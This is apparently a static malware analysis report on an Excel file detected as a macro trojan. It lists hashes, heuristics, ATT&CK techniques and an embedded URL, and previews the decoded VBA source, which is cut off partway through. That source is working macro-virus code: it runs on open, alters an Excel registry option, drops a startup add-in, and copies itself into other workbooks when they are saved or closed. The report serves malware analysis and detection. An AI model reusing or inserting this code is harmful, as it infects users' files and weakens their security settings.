Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 edf77dc768476fcf…

MALICIOUS

Office (OLE)

56.0 KB Created: 2000-01-25 16:04:31 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 30cd3736a3da7138b87ebb5d7c5c3f98 SHA-1: 702f9cdb1a7675c0e93b70a94910b5191da49956 SHA-256: edf77dc768476fcffbb5b70f154b984024a5e692dfaacacd6f36fdd786cb137a
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file is an Excel spreadsheet containing a Workbook_Open VBA macro. This macro is designed to write a value to the registry key HKCU\Software\Microsoft\Office\8.0\Excel\Microsoft Excel\Options6, likely to establish persistence. The macro also references a file named BASE5874.XLS, which is likely a second-stage payload. An embedded URL, http://www.fram95.com.ua, was also found.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.fram95.com.ua In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13117 bytes
SHA-256: 27285e58c79ea66a071af231fec3f13dc287eb0143df2a8f0bec56b3e8ae8bf4
Detection
ClamAV: Xls.Trojan.Divi-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True



Private Const cstrSection     As String = "Software\Microsoft\Office\8.0\Excel\Microsoft Excel"
Private Const cstrEngine      As String = "BASE5874.XLS"
Private Const cstrModule      As String = "ThisWorkbook"
Private Const cstrKeyName     As String = "Options6"
Private Const cstrVolumeData  As String = "IVID"

Private Declare Function GetVolumeInformation Lib "KERNEL32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As Long, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As Long, ByVal nFileSystemNameSize As Long) As Long
Private Declare Function RegCloseKey Lib "ADVAPI32.DLL" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKeyEx Lib "ADVAPI32.DLL" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "ADVAPI32.DLL" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "ADVAPI32.DLL" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Private WithEvents mapp As Application




Private Sub Workbook_Open()
  Dim strEngine     As String
  Dim wbkEngine     As Workbook
  Dim cmdEngine     As Object
  Dim lngRegKey     As Long
  Dim lngRegType    As Long
  Dim lngRegValue   As Long
  Dim lngVolumeID   As Long
  On Error Resume Next
  If (RegOpenKeyEx(&H80000001, cstrSection, 0, &H2001F, lngRegKey) = 0) Then
    RegQueryValueEx lngRegKey, cstrKeyName, 0, lngRegType, lngRegValue, 4
    RegSetValueEx lngRegKey, cstrKeyName, 0, lngRegType, lngRegValue And Not 8, 4
    RegCloseKey lngRegKey
  End If
  strEngine = UCase$(Application.StartupPath + "\" + cstrEngine)
  If UCase$(Me.FullName) = strEngine Then
    Set mapp = Application
  ElseIf Len(Dir(strEngine)) = 0 Then
    Application.ScreenUpdating = False
    If Len(Dir(Application.StartupPath, vbDirectory)) = 0 Then MkDir Application.StartupPath
    Set wbkEngine = Workbooks.Add
    wbkEngine.IsAddin = True
    Intrude wbkEngine
    GetVolumeInformation Left$(strEngine, InStr(1, strEngine, "\")), 0, 0, lngVolumeID, 0, 0, 0, 0
    wbkEngine.CustomDocumentProperties.Add cstrVolumeData + Hex$(lngVolumeID), False, msoPropertyTypeString, ""
    wbkEngine.SaveAs strEngine, xlAddIn
    wbkEngine.Close
    If (lngRegValue And 8) = 8 Then
      Set cmdEngine = Me.VBProject.VBComponents(cstrModule).CodeModule
      cmdEngine.DeleteLines 1, cmdEngine.CountOfLines
      Me.Save
    End If
    Application.ScreenUpdating = True
  Else
    CopyVolumesData Workbooks(cstrEngine)
  End If
End Sub

Private Sub mapp_WorkbookBeforeSave(ByVal Wb As Excel.Workbook, ByVal SaveAsUI As Boolean, Cancel As Boolean)
  On Error Resume Next
  Intrude Wb
End Sub

Private Sub mapp_WorkbookBeforeClose(ByVal Wb As Excel.Workbook, Cancel As Boolean)
  On Error Resume Next
  If Len(Wb.Path) <> 0 Then If Intrude(Wb) Then Wb.Save
End Sub

Private Function Intrude(wbkTarget As Workbook) As Boolean
  Dim cmdSource As Object
  Dim cmdTarget As Object
  On Error Resume Next
  Intrude = False
  Set cmdSource = Me.VBProject.VBComponents(cstrModule).CodeModule
  Set cmdTarget = wbkTarget.VBProject.VBComponents(cstrModule).CodeModule
  If cmdTarget.CountOfLines <= 2 Then
    cmdTarget.DeleteLines 1, cmdSource.CountOfLines
    cmdTarget.AddFromString cmdSource.Lines(1, cmdSource.CountOfLines)
    CopyVolumesData wbkTarget
    Intrude = T
... (truncated)